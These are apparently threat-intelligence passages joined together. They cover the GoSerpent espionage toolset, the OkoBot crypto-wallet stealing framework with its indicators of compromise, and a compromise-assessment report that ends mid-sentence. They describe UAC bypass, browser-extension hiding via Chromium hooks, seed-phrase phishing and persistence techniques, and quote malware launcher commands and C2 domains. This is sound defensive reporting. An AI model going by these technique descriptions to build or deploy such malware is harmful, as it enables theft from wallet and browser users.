It then checks for the existence of this configuration file. If the file doesn’t exist, it delays execution for a random period of time before rechecking. The configuration file contains encrypted network share credentials and destination paths for data exfiltration. It specifically references the thumbcache_605a.db file created by ThumbcacheService as the file to be exfiltrated, demonstrating the integrated nature of the attack chain.

Toolset integration

What distinguishes this threat actor’s approach is the deliberate integration between different components of their toolset. The chain from ThumbcacheService to TmcLoader/TmcPayload demonstrates sophisticated operational planning:

1. ThumbcacheService: deployed via GoSerpent, collects and archives sensitive files into the thumbcache_605a.db database file.
2. Credential dumping tools: deployed via GoSerpent to retrieve system credentials.
3. Configuration file: delivered via Stowaway, contains credentials and file paths for data exfiltration.
4. TmcLoader/TmcPayload: deployed via Stowaway, reads the configuration file for data exfiltration.
5. Data transfer: using network credentials and destination paths from the configuration file, TmcPayload transfers the exact same thumbcache_605a.db.

This integration shows that the threat actor has carefully orchestrated their tools to work together seamlessly, ensuring that data collected by one component is available for exfiltration by another component.

Infrastructure

The malware operators leverage legitimate hosting providers, including Alibaba Cloud and UCLOUD HK, for their command-and-control infrastructure. The use of legitimate hosting platforms demonstrates operational security awareness, making detection more challenging.
The technical similarities between GoSerpent and the newer Stowaway tools strongly suggest the threat actor’s deep familiarity with network proxy technologies. The consistent use of legitimate domain names as secret keys, with GoSerpent employing www.microsoft.com and www.spacex.com and Stowaway utilizing github.code, indicates a standardized operational methodology.

Attribution

While the exact attribution of the GoSerpent campaign remains uncertain, there are indications of a potential link to the TetrisPhantom threat actor. The similarities in victim targeting, technical capabilities, and operational methodologies suggest a possible connection. However, further investigation is necessary to confirm this association.

Conclusion

The GoSerpent campaign represents a sophisticated and evolving threat to government and diplomatic entities in Southeast Asia. The threat actor’s use of customized tools, such as the GoSerpent backdoor, Stowaway, and TmcLoader, demonstrates a high degree of technical expertise and operational planning. The integration of these tools to collect and exfiltrate sensitive data highlights the actor’s focus on long-term access and intelligence gathering. As the threat landscape continues to shift, it is essential for organizations to remain vigilant and implement robust security measures to detect and prevent such attacks. By understanding the tactics, techniques, and procedures (TTPs) employed by this threat actor, defenders can better prepare themselves to counter similar threats in the future.

Indicators of compromise

File hashes

GoSerpent
EBFFD5A76AAA690BCDB922F82E0BACC5
DC506FF7BB72735444FB3703A6BEE6D8

McMx
D6E86BF8A90E9B632ADD5FA495F97FBC

ThumbcacheService
CB6C4C70A3B171FA3404B8E1A3382116
64E9D1950E42BC98486DFD9919463D1C

Stowaway
CBBB6D483737EA3566726E51752DFF40
7F223EE0716CE2AD56F55D3744419449
19F8BEFCB035F52BF70094E6B4F5779A
846EF7C1C7323849B2A778C5E4CDA162

TmcLoader
D08A059E8B815E3B891505BC8777FC28
93A1569D5D5AB2C4761FEDF84F83709E

C2 IP addresses

152.32.160[.]239
8.220.194[.]108
8.220.214[.]132
8.220.209[.]155
8.220.193[.]189
101.36.104[.]87
144.48.6[.]46
103.138.13[.]30
47.80.22[.]58
152.32.222[.]113
43.106.30[.]226

Introduction

In January 2026, we identified multiple attacks involving unknown malware that captures the contents of cryptocurrency wallet windows. During the investigation, we reconstructed the complete infection chain, which consisted of four tightly linked stages initiated by the execution of the previously described malicious PowerShell script TookPS. However, this campaign differs from previous activity in that it uses a new framework to deliver all malicious modules and orchestrate them via an SSH tunnel. In total, the framework includes more than 20 malicious payloads and implants, covering a wide variety of functions. At the time of writing, the threat remains active.

Kaspersky’s products detect this threat as Trojan-Downloader.Win32.TookPS.*, Trojan.Win64.BypassUAC.*, Trojan-Banker.Script.Agent.gen, Trojan.Win32.Dllhijack.*, Backdoor.Win32.TeviRat.*, Trojan-PSW.Win64.Stealer.*, Trojan-Spy.Win64.Keylogger.*, Trojan-Spy.Win64.Agent.*, Trojan.Win64.Agent.*.

Background

TookPS is a downloader used for retrieving malicious commands and scripts from attacker-controlled servers to further propagate attacks. The first campaign using TookPS was discovered in March 2025. At that time, malicious scripts delivered a Python‑based infostealer along with a script that installed and configured an SSH tunnel on the victim’s machine. The next wave appeared in April 2025: the payload was changed, and TookPS was used to deliver the TeviRAT malware with the same SSH installer.

Then at the end of April 2025, TookPS underwent minor changes, yet its attack chain was completely redesigned. Unlike previous incidents, in this case, TookPS was used solely for the initial infection, with an automated SSH bot responsible for payload delivery. This new malicious campaign has multiple stages that cover the full attack lifecycle, from initial infection to persistence and data exfiltration. Among various malware strains, at one of the stages, the TeviRAT backdoor is delivered to the compromised host, ultimately fetching another version of a TookPS script.

We dubbed this updated TookPS campaign “OkoBot”.

Original OkoBot infection chain

We will break down this chain in greater detail later in the article. However, this is not the only version of OkoBot we were able to find. Already in March 2026, we discovered a new phase in the development of the framework, with Volume2 now being installed directly using TookPS. The HDUtil launcher → extl injector → Rilide chain was found to be abandoned in this newer version since it was replaced in full by the identical ext_daemon Volume2 plugin. TeviRAT was also removed, most likely because its functions were covered by the new plugins dispatcher.

New OkoBot infection chain

Initial infection

The initial infection is primarily delivered through two vectors: a ClickFix attack, and malware distributed through GitHub that masquerades as legitimate software. One such example is the fake SQL Server Management Studio (SSMS) package distributed through GitHub. In fact, it is actually the legitimate Audacity — a popular audio editor — compiled with a malicious implant embedded in one of its libraries. Because the repository was indexed by most search engines and appeared at the top of the results for the query SSMS, the malware looked legitimate and quickly earned users’ trust.

Malicious application distribution report

This repository was created at the end of March 2025 and existed until June of that year. It consisted of a single file, README.md, which provided a fake SSMS installation guide written in an official style and likely derived from excerpts of Microsoft’s documentation. However, the download link for the program, located at the beginning of the guide, pointed to the latest release in the same repository.

Both infection vectors trigger the execution of the malicious script TookPS, which installs SSH on the victim’s system, establishes a connection to the attacker-controlled SSH server and subsequently forwards the SSH daemon port. Following a delay, an automated SSH bot connects to the forwarded port.

Back connection

The automated SSH bot collects system information such as usernames, antivirus software installed, the IP address, and OS version. It harvests cryptocurrency wallet files, browser cookies, profiles, and other credentials through an SSH tunnel. For subsequent delivery of malicious modules, it disables Windows Defender notifications via a registry modification. Moreover, it gains access to the graphical session on the victim’s system using the following sequence:

1. Open firewall ports for inbound RDP traffic
2. Create a user in the “Remote Desktop Users” group
3. Replace the legitimate termsrv.dll with a patched one to permit multiple concurrent RDP sessions
4. Create a scheduled task named Apple Sync to maintain a reverse SSH tunnel that forwards the local RDP port every hour

After that, the SSH bot begins retrieving malicious modules over SFTP.

Launcher with advanced options

One of the deployed modules is HDUtil, an auxiliary utility protected with VMProtect and heavily obfuscated. This launcher is used by the SSH bot during an attack to deploy various malicious modules via the target command. Additionally, it implements three auxiliary commands that were not observed during the attacks we analyzed. Nevertheless, their presence and potential capabilities further demonstrate the high degree of integration among all components of the framework.

Active sessions

At startup, the launcher verifies its execution environment by checking the HWID in the contents of %PROGRAMDATA%\hwid.dat, a technique consistently employed throughout the framework. If the file is missing or contains invalid data, such as a non‑MD5 hash, the launcher terminates without performing any further actions. Otherwise, the specified commands are executed. For example, enumsessions provides a list of sessions along with detailed information, including the session type (Console, Services, RDP, and others), username, connection host, and domain. In turn, enumadapters returns the names of all graphics adapters present on the system.

Example output of HDUtil enumeration commands

UAC bypass

The most important command of the launcher is target, which enables payload execution on the system. An optional nouac argument enables automatic UAC bypassing via Windows RPC and an auto-elevated msconfig.exe program, allowing the payload to run with elevated privileges stealthily. This technique has been known for a long time, discovered and described in 2019 by the Project Zero team, who provided a full report with a detailed technical description.

Below is the list of all HDUtil commands.

Browser extensions loader

The first malicious module delivered to the infected system via SFTP is executed using the previously described launcher with the command .\HDUtil.exe target extl.exe. It is a heavily obfuscated DLL injector protected with VMProtect. At startup, the module enters an infinite loop and uses the EnumWindows and IsWindowVisible API methods to enumerate the PIDs of active windows and retrieve the corresponding executable filenames. For processes associated with widely used Chromium‑based browsers, the module invokes a routine that injects a specialized implant.

The injector opens a process, allocates a memory region, and writes the payload directly into this region as unencrypted raw bytes. Then it resolves two exported implant functions, LdrInitMain and LdrCallMain, based on a pre-specified hash derived from a modified version of DJB2 hash function. The first function performs the final PE unpacking, including rebase operations and the initialization of the import and exception tables. The second function directly initiates malware execution.

Setting up protections on the regions and launching the implant

This loader installs malicious browser extensions and hides them from the user. It uses an internal engine that resolves the addresses of stripped functions by analyzing the byte patterns of their calls using YARA-style syntax. This approach enables the malicious code to access critical Chromium engine functions required for extension installation and management. This functionality is also implemented for other browsers with appropriate modifications. For example, in the case of Microsoft Edge, the corresponding DLL msedge.dll is hooked using the specific patterns.

List of the functions hooked by the malware

Using the obtained address of the BrowserProcess object, the loader traverses the inheritance hierarchy and subsequently resolves a pointer to the function responsible for registering observers of browser‑window creation, specifically ProfileManager::BrowserListObserver::OnBrowserAdded. With a specialized built‑in engine, they are hooked using the attacker’s own implementations while preserving the original function’s address.

The loader replaces the functions it finds with its own

When a new Chromium window is opened, a hooked function is invoked that silently installs extensions. This routine scans the user’s %APPDATA% directory, loads all .crx files (Chromium-based browsers extension format), and records them in the ext_table. The extensions are then installed in the browser.

During installation, the extension is unpacked into a non‑default extensions directory, Local Extension Settings, and its manifest is dynamically modified. An object named custom_args is added, containing the fields hwid (the identifier of the infected system) and browser (the name of the browser in which the extension is installed). Then, using previously resolved internal functions of chrome.dll, the extension is installed and all requested permissions are granted.

Extensions are unpacked into a non-default directory

All extensions loaded in this manner are added to a special array to be subsequently identified among regular extensions and to remain hidden from the user.

The remaining patched functions are used to hide the installed malicious extensions from the user. When invoked with registered extensions as parameters, they perform no operation and return a constant value. This enables the threat actor to suppress notifications related to the malicious nature of the extensions and to exclude them from the displayed list of installed extensions. As a result, the behavior of other extensions remains unaffected.

Stub for hiding malicious extensions

During the attack, the Rilide extension was installed on the victim’s system using the previously described loader. Rilide is a stealer targeting Chromium-based browsers that has been frequently used by Russian-speaking threat actors since April 2023. The malware is designed to steal sensitive user data, including login credentials, cookies, and financial information, with a specific emphasis on cryptocurrency theft.

Plugins dispatcher

The final module delivered via SFTP is an open-source utility called Volume2, which is executed with elevated privileges using the command .\HDUtil.exe target nouac noattach Volume2.exe. The executable was linked with the malicious protobuf.dll library. Although the library seems identical to the legitimate DLL, it has been modified to include a malicious exported function, ProtobufGetVer2. This function decrypts and initiates a malicious implant. The payload is encrypted using AES GCM, initialized with a static 256‑bit key and a 96‑bit nonce. The GCM authentication tag is omitted, resulting in the absence of integrity verification. Starting in March 2026, the name of protobuf.dll was changed to version.dll, although its contents remained a modified ProtoBuf library.

Decrypting implant using AES GCM and subsequent mapping

The loaded implant functions as a malicious plugin dispatcher. Upon initialization, it reads and verifies the HWID before establishing communication with the C2 server via the HTTP protocol. Each request follows a predefined binary format: a 2-byte numeric bot identifier encoded in little-endian format, followed by an AES CBC-encrypted JSON object. By default, the BotID is set to 0, and the key and IV consist of 32 and 16 bytes of 0xff, respectively. The implant polls the server every 20 seconds to retrieve new commands. The request contains client data encoded in Base64, and the server may respond with a command containing three mandatory fields: TaskIndex (the command number from the dispatcher), TaskID (a unique task identifier), and HWID (the client identifier). The dispatcher supports four built-in commands:

Each plugin is required to export two functions: RegisterPlugin and PluginDispatch. These functions are used to manage and configure plugins. The RegisterPlugin function registers the plugin’s tasks with the dispatcher, whereas the PluginDispatch function is invoked when the plugin is called. Both these functions, as well as other external API functions, are located within the base libraries using one algorithm. This algorithm iterates through the export table and uses a specialized callback that calculates the MurmurHash3 hash and compares it against the target value to identify the appropriate function.

Resolving a plugin initialization function

During the analysis, we were able to discover five plugins that implement functions under their unique task identifiers.

• CMD wrapper (10xx): allows running scripts and individual commands in cmd.
• PowerShell wrapper (11xx): allows running scripts and individual commands in PowerShell.
• Environment enumerator (12xx): gathers system information, active sessions, and processes.
• Dropper (14xx): downloads an additional payload directly onto the system both from embedded Base64-encoded binary blob and via URL.
• Process injector (16xx): launches additional malicious implants on the target system by injecting them into legitimate processes.

We identified four malicious implants that are delivered to the system via the process injector plugin.

ext daemon

The malware is functionally identical to the browser extensions loader (extl.exe) described above, but less obfuscated and not protected with VMProtect.

SeedHunter

Similarly to extl.exe, this malware monitors the list of active processes in the system and injects an implant into Trezor Suite, Ledger Wallet, and Ledger Live processes. The implant is malware that collects seed phrases of Ledger and Trezor cryptocurrency wallets. Initially, it verifies the HWID, and if it fails, it terminates immediately. Then, based on the value of BaseDllName, the malware determines the process context and uses the corresponding implementation for either Trezor or Ledger. It then utilizes the previously described technique to hook the internal Electron framework functions.

List of functions hooked by the malware

Then the malware communicates with the C2 (moonsand[.]store) over HTTPS, sending a Base64-encoded JSON request containing the fields Pid, HWID, and Build. In response, it receives a JSON payload containing the Wait flag. If this flag is set to true, the malware initiates periodic USB device scans filtered by VID and PID (Vendor and Product ID). Upon detecting a connected Trezor or Ledger hardware wallet, it invokes the hooked functions to display a hard‑coded phishing page designed for seed phrase recovery, with a distinct layout used for each identified wallet. If the Wait flag is set to false, the phishing page is displayed immediately.

When the seed phrase is entered and validated, the JavaScript code of the page outputs the phrase to the console prefixed with @:app:print. This prefix helps identify the malware messages in the hooked function mal_LogConsoleMessage.

Phishing pages for seed phrase recovery

The obtained seed phrase is subsequently sent to the C2 server within a JSON payload containing fields such as App (ledger or trezor), Build, DeviceName, DeviceHardwareId, and SeedData. Furthermore, an identical JSON, encrypted with the RC4 algorithm using the HWID as the key, is saved in a temporary directory under the filename sh_<ts>.json, where <ts> is the file creation timestamp.

MC Keylogger

This module is a keylogger that, in addition to recording user input, performs three malicious activities:

1. Clipboard logging: periodically checks various clipboard formats, including CF_HDROP for files dragged between windows, CF_DIB for copied bitmap images, and CF_UNICODETEXT for Unicode text. Each format is handled appropriately, and all copy events are logged under the Clipboard section. Text data is written directly to the log, while copied files are recorded by their file paths. Images are saved as JPG files following the naming pattern bf_YYYY-MM-DD hh_mm_ss.jpg, and the path to the saved image is added to the log.
2. Logging connected devices: logs information about USB devices connected to the system, including hardware characteristics like VID, PID, manufacturer, and other details.
3. Screenshot creation: creates a screenshot every five minutes with a name in the format sc_YYYY-MM-DD hh_mm_ss.jpg. A corresponding message is recorded in the log under the Screenshot section, including the path to the screenshot.

Thus, the keylogger creates three types of different file artifacts, which are placed in a temporary directory. Below is an example of a log file generated by the keylogger.

Example of the keylogger log file

OkoSpyware

This module, which we dubbed OkoSpyware, captures both keystrokes and the video stream of the target application’s window. It first compiles a list of over 100 executable names, including cryptocurrency wallet applications (such as Exodus or Litecoin QT), password managers (such as KeePassXC or 1Password), and other widely used applications, to identify which processes should be monitored among all active system processes. For each identified process, the module uses a bundled FFmpeg instance to capture an MP4 video of the window while concurrently logging keystrokes within that window. The resulting video file is saved in %TEMP% as media_<ts> (where <ts> is the recording’s start timestamp). In the same folder, a JSON file named oko_<ts>.json is created, containing metadata about the captured stream, such as the process name, intercepted input, the stream’s MD5 hash, and additional details.

Example of an OkoSpyware metadata file

The malware also monitors the state of browsers, and when the window title matches a specified regular expression — for instance, a MetaMask or Tonkeeper wallet extension page — it performs video recording and input logging, adding the window title value to the corresponding field in the JSON metadata file.

Artifacts exfiltration

The TookPS script launched via a scheduled task receives a PowerShell exfiltration script as its payload from the C2. All files created by the MC Keylogger and OkoSpyware are sent to the C2 server to the endpoint ir-post.php. After that, the files are deleted from the victim’s system and a command history file, ConsoleHost_history.txt, is cleared.

Sequential exfiltration of artifacts from the temporary directory

Victims

At the time of writing, we have detected hundreds of victims of the OkoBot campaign in more than 25 countries, with the largest proportion of attacked end users found in Brazil, Vietnam, Canada, Mexico, and Türkiye.

Distribution of users attacked by OkoBot by country, April 2025–June 2026 (download)

Attribution

At the time of writing, we can’t attribute this malicious campaign to any known crimeware actor. However, during the analysis, we observed that the servers hosting the PowerShell scripts used in the initial infection stage implement server-side geoblocking. When attempting to retrieve the malicious script using an IP from Russia or CIS countries, the server returns an empty response. This technique is very popular among Russian-speaking threat actors.

It was previously mentioned that the campaign uses the malicious Rilide extension, an infostealer that is actively spreading on Russian-speaking, invitation-only cybercrime forums. Additionally, the source code of the SeedHunter phishing pages includes comments in Russian.

Conclusion

The framework described here has numerous modules — mostly written in C and C++ — that are obfuscated and use a variety of packing techniques. Across all stages, specific patterns and techniques can be identified that are borrowed and used in other modules, which allows us to conclude that there is a close interconnectedness among all stages, forming a full‑fledged high‑level framework. Overall, these modules enable a wide range of functions, such as collecting local files, executing remote commands, downloading arbitrary browser extensions, and stealing crypto wallets.

The OkoBot campaign has been ongoing for over a year, and it remains active at the time of publication. Moreover, it is adapting, which indicates that this framework is being maintained and distribution campaigns continue.

Indicators of compromise

Additional information about this threat, with a comprehensive IoC list and decryption scripts, is available to customers of the Kaspersky Threat Intelligence Reporting service. Contact: intelreports@kaspersky.com.

Dispatcher

B07D451EE65A1580F20A784C8F0E7A46 # protobuf.dll
187A1F68AE786E53D3831166DC84E6D2 # protobuf.dll
D84E8DC509308523E0209D3CD3544619 # protobuf.dll
83E6B8FCB92A0B13E109301F8FF649CF # version.dll

Plugins

7306885BB4C98F2A9F056104CF092BC9 # PowerShell wrapper
B4C2E16CDB513BE4DC798F88E2527334 # CMD wrapper
2157D2429124AD28DB7A26F2477CB985 # Environment enumerator
77CECF5E2A622AE07D8AE9913457AB57 # Dropper
E0C3BC27A65750E740C4F1719E531C7D # Process injector

Injector payloads

3D2B43F91F65BFBF36A9C71B6B418876 # ext_daemon.exe
70FEF9FD6E351F4D53CFEEE8DCDFCD99 # seedhunter_x64.exe
ACD31C9941B6C1CABD4E45E6877B9038 # keylog_x64.dll
DD52F5108A176C62AD807C327734AD12 # oko.dll

SSH bot utilities

AC93A821617AEA1F56D4BC0BEF4AF327 # HDUtil.exe
11DBC8A2BEA04B15F8F68F3F01E8FAF9 # extl.exe

File paths

%USERPROFILE%\.ssh\go.bat
%PROGRAMDATA%\HDVideo\HDUtil.exe
%PROGRAMDATA%\hwid.dat
%PROGRAMDATA%\oko_ver
%TEMP%\extl.exe
%APPDATA%\hwid.dat

Domains and IPs

2baserec2[.]guru          # TookPS
recavb22[.]online         # TookPS
kbeautyreviews[.]com      # TookPS
coffeesaloon[.]online     # TookPS
104.243.43[.]16           # SSH bot
104.243.32[.]213          # SSH bot
62.210.188[.]209          # SSH bot
livewallpapers[.]online    # Volume2 C2
thatwascringe[.]com        # Volume2 C2
moonsand[.]store          # SeedHunter C2

The following analysis presents the key findings from Kaspersky Compromise Assessment engagements performed in 2025. A compromise assessment is an independent, expert-driven service that examines whether a target network has been compromised. The service combines threat intelligence analysis (including darknet sources), tool-aided endpoint scanning, a systematic review of security event logs and network traffic, and, when necessary, an initial incident response and digital forensic investigation.

This report focuses on missed incidents – threats that remained undetected for weeks, months, or even years.

Key trends observed during compromise assessment engagements

• Proactive compromise assessment decreases the number of missed high-severity incidents. The highest proportions of high-severity incidents were revealed in organizations that requested our compromise assessment service after containing a known incident. The lowest proportions of high-severity incidents were observed in organizations that conducted regular audits. Of all the incidents discovered, 20% were found manually, while enterprises missed 60% because of the absence of high-confidence alerts from the tools in place.
• Nearly a third of discovered incidents took over three months to detect. The longer a threat persisted in the target environment, the greater the likelihood that an incident would be severe. 30.8% of all discovered incidents and 52% of high-severity compromises had historical activity spanning over three months. The oldest incident discovered in 2025 had gone undetected for four years.
• Malicious files often remain in backups and are restored after incident response activities. 40% of all discovered web shells resided in backups and went unnoticed until a proper compromise assessment was conducted.
• Threat actors rely on remote management tools and LoLBins. These types of tools were found in all compromise assessment engagements that resulted in an incident detection.
• Monitoring tools and controls are not self-sufficient; operational maturity makes the difference. Monitoring tools must be configured and adapted to the changing threat landscape. Furthermore, human analysts need to review low-confidence alerts. A lack of continuous monitoring and threat hunting activities increased the likelihood of high- and medium-severity incidents to 84–86%. At the same time, high‑severity incidents were rare among organizations with in-house capabilities to reverse-engineer malware.
• Communication issues lead to missed incidents. Nearly a third of the compromise assessments revealed communication issues that impacted incident response activities.
• The incident response playbook is not set in stone. For incident response to be efficient and effective, playbooks must be updated as new artifacts are discovered. Treating the incident response plan as a living document reduces the risk of missing threats.

About the Kaspersky Compromise Assessment service

Our global compromise assessment portfolio spans several regions. In 2025, around 71% of the incidents we identified affected our customers in the META region, while the APAC and CIS regions accounted for the remaining 29%.

Geographic distribution of incidents identified during Kaspersky Compromise Assessment projects in 2025 (download)

Our service was requested by organizations from a diverse set of sectors. The government sector accounted for around 29% of incidents, followed by the education (19%) and financial (17%) sectors.

Distribution of economy sector incidents identified during Kaspersky Compromise Assessment projects in 2025 (download)

Detection logic families

Our compromise assessments operate on a continuously updated catalogue of indicators of attack (IoAs). Because the raw set of IoAs is too granular for high-level reporting, we map them to a concise set of detection logic families. The statistics indicate that three detection families dominate the incident mix:

• Credentials from dumps: 12.4% of all incidents;
• Specific living-off-the-land (LOTL) tools: 11.2 %;
• Specific malware families: 11.2 %.

These three detection logic families represent high-fidelity indicators of attack that reliably signal infrastructure compromises ranging from dormant, disk-based malware to persistent and multi-stage attacks.

Distribution of detection logic families (download)

Reasons for requesting Kaspersky Compromise Assessment services

Analysis of our compromise assessment engagements that took place in 2025 reveals a clear correlation between the stated purpose of the engagement and the risk profile of the findings. General audits dominate the portfolio with 56% of requests, followed by authority reporting engagements (19%), post-incident checkups (17%), and acquisitions (9%).

Statistics on the reasons behind CA project requests (download)

When the findings are classified by severity, the post-incident checkup category exhibits the highest proportion of high-severity incidents (40.7%). The full breakdown is shown below.

Post-incident checkups are frequently initiated after an initial incident response (IR) effort. The elevated share of high-severity findings suggests that IR activities, which are typically limited to containing a known incident, do not provide a complete view of the broader environment. Consequently, other threats may remain undetected until a full compromise assessment is performed.

Merger and acquisition-related assessments are proactive assessments performed when a company acquires another entity. This involves the target’s network being scanned for hidden threats before the two environments are merged. These assessments demonstrate a balanced distribution of severity: 28.6% low-severity, 42.8% medium-severity, and 28.6 % high-severity. This reflects the mixed risk posture of target environments of acquisitions, which are often evaluated for both known vulnerabilities and hidden malicious activity. Similarly, other proactive approaches like general audit assessments or assessments driven by the need to regularly submit a compliance report to a regulatory authority, share almost the same ratio. This indicates that regular, proactive and compliance-oriented assessments tend to reveal substantive issues earlier in the attack lifecycle, reducing the likelihood that they will evolve into high-severity incidents.

Organizations that conduct regular audits have the highest rate of low-severity findings (36%) and the lowest rate of high-severity issues (28%). We can assume with medium confidence that continuous, proactive compromise assessments are more effective at limiting the emergence of high-severity compromises than reactive, incident-driven evaluations. The data collected in 2025 are consistent with this hypothesis. Integrating regular, third-party compromise assessments into governance processes can therefore reduce the probability of unexpected high-severity findings and improve overall risk posture.

The following case study illustrates the impact of relying on a reactive rather than proactive approach. It describes a persistent threat that remained dormant on a client’s network and was only discovered after a comprehensive compromise assessment was performed following initial IR activity.

Case study: Dormant threat uncovered only by a compromise assessment

A midsize enterprise suffered a high-severity intrusion that was contained and remediated by the IR team within the defined scope of the initial alert. Following containment, the organization requested a check to determine if any additional footholds existed elsewhere in the network. To address this need, the organization engaged Kaspersky’s Compromise Assessment (CA) service, which performed a full forensic review of the environment beyond the scope of the initial incident.

Compromise assessment experts collected forensic metadata, historical security event logs, and Active Directory configuration data from the entire infrastructure. Threat hunting queries were executed against the aggregated telemetry, focusing on persistence mechanisms, lateral movement artifacts, and anomalous process activity. As a result, a number of severe threats were detected and reported; for example, malicious persistence:

1. A cron job that recreates a web shell
   A critical Linux system (web server) had a cron job that automated fetched a copy of a PHP web shell from a public GitHub repository and placed it in an online directory. Even if the file was removed by security personnel, the cron job would simply download it again, giving the attacker a persistent remote code execution point on the web server.
   
2. A live reverse shell
   On a server hosting a published web application, the process list showed a bash reverse shell.It was run by a user with the username “apache,” which was the account used to run the web application. This may indicate that the attacker exploited a vulnerability in the web application to gain remote code execution, allowing them to establish a reliable command and control channel that bypassed the firewall because it was initiated from inside the network.
3. ClipBanker data stealer persisting via Windows registry
   A ClipBanker variant was detected on a user’s workstation machine maintaining persistence by adding itself to the registry key HKU\S-1-5-21-[REDACTED]-500\Software\Microsoft\Windows\CurrentVersion\Run\9Er6IIp.
   
   This was done after adding the malware’s folder to Windows Defender exclusions and applying hidden and system attributes to the file to hide it from regular users.
4. Malicious WMI event consumer with deceptive alias
   A malicious WMI event consumer was detected that downloads and executes a PowerShell script. It created the alias “Kaspersky” for “Invoke-Expression” in an attempt to blend in as legitimate activity in the hope that a quick glance at the script would not raise suspicion. Kaspersky’s Cyber Threat Intelligence confirmed that the downloaded script (no longer reachable) was a weaponized payload used to spread the infection further.
   

The IR containment was rapid, focused and effective in addressing the specific incident that triggered the alert. However, the broad-scope compromise assessment revealed multiple backdoors across the environment, each using a different persistence technique: cron jobs, scheduled registry runs, and WMI subscriptions. The infected hosts were outside the original IR scope, so they remained unseen until a comprehensive hunt was conducted.

Incident response excels at stopping the bleeding and ensuring business continuity after a known incident. A compromise assessment provides a health check that determines whether any other wounds exist. By pairing timely IR with regular, full network compromise assessments, the organization had both the reactive agility to contain incidents and the proactive visibility to eradicate malicious persistence wherever it was hiding. The investigation uncovered additional undetected footholds, providing a clearer view of the environment and reducing the likelihood of a repeat incident.

Missed long-term incidents

The statistics on the mean time to detect (MTTD) incidents identified during compromise assessment projects are concerning. Many incidents go unnoticed for extended periods. For example, in 2025 we identified an incident that was approximately four years old!

Such prolonged detection times can lead to severe consequences, as 30.8% of incidents have historical activity spanning over three months. These incidents can range from dormant malware to persistent threats, highlighting the need for robust detection and response mechanisms.

Severity distribution of incidents by MTTD (download)

The relationship between detection latency and incident severity was analyzed by grouping findings according to their MTTD:

• For incidents detected within the first month, severity is more or less evenly distributed among the low, medium and high categories.
• However, as the MTTD increases, the severity of incidents shifts towards higher severity. Notably, a high proportion of incidents that took between 30–60 days to be detected are medium-severity incidents (78.57%), while those detected between 60–90 days are predominantly high-severity (71.43%).
• Among incidents detected after 90 days, a significant proportion are also high-severity incidents (52%).

Overall, 52% of high-severity incidents are only identified after 90 days of going undetected. This represents a concrete risk: the longer an incident goes undetected, the higher the probability of severe compromise. Organizations that integrate continuous detection, threat hunting activities, and regular compromise assessments can reduce MTTD, limit threat escalation, and lower their overall risk profile.

The following case study highlights the importance of timely detection and response to prevent incidents from escalating into high-severity events.

Case study: Four-year-old crypto mining activity on domain controllers

In May 2025, our compromise assessment experts identified three domain controllers on a customer network that were infected with malicious files. The files had remained hidden for almost four years. They were created in the C:\Windows\Fonts\Mysql directory, abusing its unique characteristic whereby only font files in this directory are visible to regular users. Files with the names nei.bat, dl1host.exe, bat.bat, cmd.bat, and a spoofed svchost.exe were found there. These files were created in June and July of 2021.

Kaspersky Threat Intelligence confirmed that these files are part of a crypto-mining campaign called NSABuffMiner, which spreads via the SMB protocol by exploiting the EternalBlue (MS17-010) vulnerability. A patch was released for this vulnerability in March 2017, four years before the initial compromise. This was more than enough time to patch the systems. This underscores the importance of implementing effective patch management operations and staying informed through threat intelligence news feeds.

Based on the organization’s request, the malicious files were collected along with a forensic image for analysis and revealed the following:

• bat.bat and cmd.bat generate random IPs and scan them with a lightweight port scanner renamed taskhost.exe to locate live hosts with SMB port 445 and NetBIOS port 139 open and looking for vulnerable machines.
• Discovered vulnerable IPs are handed to helper scripts named bat, poab.bat, load.bat, and loab.bat that execute the malware mance.exe, Eter.exe, and puls.exe to inject the malicious DLLs Eternalblue2.dll and Doublepulsar2.dll into lsass.exe and explorer.exe, enabling lateral movement.
• Persistence is then established by creating scheduled tasks to execute the propagation and infection scripts, and services are created to execute the crypto miner, with the names MicrosoftMysql, MicrosoftFonts, and MicrosoftMSSql. Other scheduled tasks were also observed with the names At1 and At2 and created for the same purpose.
• After successfully compromising the machine and installing the persistence mechanisms, a cleanup task is performed to delete temporary files and dropped malware.

Because of the lack of proper monitoring and threat hunting procedures, the organization was unaware that a mining operation had been hijacking their resources for four years, running on their domain controllers.

Unintentional malware preservation

An issue that is frequently discovered during compromise assessment activities is that of web shells remaining or being restored on target systems. Based on data collected during 2025 compromise assessment engagements, 64% of web shell incidents were classified as high-severity findings, 7% as low-severity (possibly legitimate files, but potentially compromised), and 29% as medium-severity findings requiring eradication.

Web shell incident distribution by severity (download)

One way web shells persist is through infected backups. The distribution of discovered incidents in our projects shows that 60% of the web shells were located on active systems, while 40% were stored in backups. Restoring such backups can reintroduce the threat long after the initial infection.

Web shell location (download)

Another common issue is asset inventory gaps, which were observed in 25% of engagements. This resulted in untracked devices, particularly cloud-only Linux web servers that are not joined to Active Directory, evading routine scans.

Asset inventory issues (download)

An attacker can plant a web shell on such a cloud server, and that server never appears in the inventory, though is still regularly backed up. As a result, the web shell may persist on the cloud server for a long time. If it is occasionally deleted, the backup server later restores the infected files, exposing the web shell to third parties again. This demonstrates that without a complete and up-to-date asset inventory, detection capabilities are significantly impaired.

One case was observed in which the web shell was located on an internal file server (not a web server) within a .rar archive at the following path: D:\backup\[redacted_for_privacy].rar/wwwroot/<…>/[redacted_for_privacy].aspx

During the investigation, the server administrators indicated that the folder had been copied from a different server that was offline at the time of the assessment. Because of poor asset inventory, the company’s security team did not detect the infection of this server. As a result of the backup procedure, the web shell was copied to the internal file server. Forensic analysis of the offline server revealed that the adversary had introduced a backdoor to the majority of the Windows servers in the environment, configuring the local administrator account with an identical password.

The technique involved using PsExec to execute a .cmd script across all the servers listed in a .txt file; the script altered the local administrator password to a common value:

Legitimate, yet suspicious: LoLBins and remote management tools

In 2025, nonstandard remote management (RM) utilities were observed in all compromise assessment engagements. Living-off-the-land binaries (LoLBins) were also present in every engagement. These findings highlight the ongoing challenge for security operations centers (SOCs) that must distinguish between legitimate administrative use and malicious abuse.

